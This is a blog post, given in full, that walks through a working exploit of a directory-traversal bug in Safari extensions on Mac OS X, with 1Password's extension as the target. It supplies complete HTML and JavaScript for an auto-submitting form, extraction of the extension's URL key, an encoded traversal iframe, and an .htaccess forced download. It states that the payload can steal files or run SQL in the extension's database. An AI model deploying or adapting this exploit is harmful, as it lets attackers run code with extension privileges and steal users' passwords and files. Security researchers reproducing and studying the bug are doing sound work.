Now that a few days have passed I wanted to provide a full walkthrough of the Safari extension exploit for Mac OS X, as I thought it might be useful for someone in reproducing the bug or for using in new research.
Synopsis: Leverage the directory traversal in Safari Extensions using 1Password's extension as an example. Note that the bug and vulnerability are not in 1Password. The test case shown describes the files that would be placed on an Apache website to reproduce the vulnerability as I did.
Step 1: index.html
The purpose of this page is to get 1Password to offer to save a password. We do this with an auto-submitting form. The form submits to passgrabber.html.
<html>
<body>
<script>
setTimeout(function(){
document.getElementById("TheLogin").click()
},5000);
</script>
<form id=bugpowder action="passgrabber.html" method=POST>
<input type=text name=username value="My Username">
<br>
<input type=password name=password value="password">
<input type=submit value=Login id=TheLogin>
</form>
<br>
<br>
Don't do anything, I got this...
</body>
</html>
Step 2: passgrabber.html
When we get here, 1Password believes we have submitted a password and offers to save it for us by injecting an iframe in the current page. Our page can access the source URL of the injected iframe in order to mount a the directory traversal attack. This Javascript can be trivially modified to target other extensions.
<html>
<body>
<iframe src="slowboat.html" height=1 width=1></iframe>
<script>
[In addition to accessing the iframe injected by 1Password, we kick off a download via slowboat.html, which is explained in more detail below.]
setTimeout(function(){
var mugwump = document.getElementById("com-agilebits-onepassword-autosave");
var benway = mugwump.getAttribute("src");
var agent = benway.split("/")[3];
tryImg(agent);
},3000)
[The JS above launches 3 seconds after the page shows up, which gives 1Password enough time to inject an iframe with its UI. We pull out the source URL of the iframe and pass on the dynamic value (only unknown part of the URL) for further processing.]
var url_prefix = "safari-extension://com.agilebits.onepassword-safari-2BUA8C4S2C/";
var url_suffix = "/data/ui/images/h30.png"
var poc_target = "/Downloads/interzone.html.download/interzone.html";
[Here we define some variables. These three variables are what you would modify to target a different extension. The easiest way to get "url_prefix" is to use the Safari Web Inspector when injected content from the extension is present, though note that injected content is not required for an extension to be vulnerable. The "url_suffix" is just to be sure we have a working exploit. We use it to attempt the directory traversal with a known image file at this extension-relative path. Lastly, the "poc_target" is the URL we actually intend to load containing our payload script. The payload script is the one that executes with the privileges of the extension. The "poc_target" path is relative to the user's home directory.]
function tryImg(thiskey) {
var imgholder=document.getElementById("imagesGoHere");
var newimage=document.createElement("img")
newimage.setAttribute("id","img"+thiskey);
newimage.setAttribute("onLoad","gotIt('"+thiskey+"')");
newimage.setAttribute("onError","this.parentNode.removeChild(this)");
newimage.src=url_prefix+thiskey+url_suffix;
imgholder.appendChild(newimage);
return(1);
}
[This function is called by the setTimeout at the start of the script with the dynamic part of the URL. Once we have it, we try to load the image specified in "url_suffix. If it loads, we assume success and send the value on to the next function, "gotIt". This function only exists to provide some error checking.]
function gotIt(goodkey) {
var Vid=document.getElementById("userkey");
Vid.textContent=goodkey;
var proof=document.createElement("iframe");
proof.setAttribute("height",600);
proof.setAttribute("width",600);
proof.src=url_prefix+goodkey+"/%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f"+poc_target;
document.body.appendChild(proof);
}
[This function creates a new iframe for our payload to run in, and targets the payload using everything we have learned so far. It also prepends the "poc_target" url so that it is relative to the victim's home directory.]
</script>
<br><br><br><br><br>
<h1><div id="userkey"></div></h1>
Please wait a few seconds...
<br><div id="imagesGoHere"></div>
</body>
</html>
Step 3: slowboat.html
At the start of the previous page, this is loaded into an iframe. Its purpose is to perform the "carpet bombing" (obligatory shout out to Nitesh Dhanjani again), otherwise called a forced download. There are a million ways to accomplish this, but I used the following .htaccess and HTML.
<html>
<body>
<script>
document.location="interzone.html"
</script>
</body>
</html>
The .htaccess file:
<FilesMatch "interzone.html$">
Header set ContentType "application/octet-stream"
Header set Content-Disposition "attachment; filename=interzone.html"
</FilesMatch>
Here you put your payload. You can do what you want from stealing files to executing SQL in the extension's database. When the download starts, Safari will create a temporary download bundle in the victim's ~/Downloads directory. It will be called "interzone.html.download/" and will contain a file called "interzone.html" inside it. You'll remember that is our "poc_target". We use this path because the Safari sandbox allows us to read files while they are being downloaded. You can put whatever payload you like in this file, but you need to make sure that it is either large enough in size or being served slow enough that the download is still in progress by the time it gets called. Actually, there are a million ways to do this too, but the easy route I took was making it 40 megs. If the download completes before the file is called, the temporary bundle will be removed before the exploit can access it.
Summary:
At this point, we have triggered 1Password, taken its dynamic value, validated that it works for us in a directory traversal, and we have pushed a payload to the victim's system. While the victim's system is downloading the payload, we can reliably access it and load it into the iframe from a safari-extension URL and in the context of the affected extension.
There are clearly lots of ways to accomplish this, but I chose the simplest path, not the most covert. That said, there are many points along the way where exploiting could have been made more difficult. If I had not been able to push files to the user, guess the download path, access the temporary download directory, or create frames that access safari-extension URLs in a remote web page, it would have been trickier.
No comments:
Post a Comment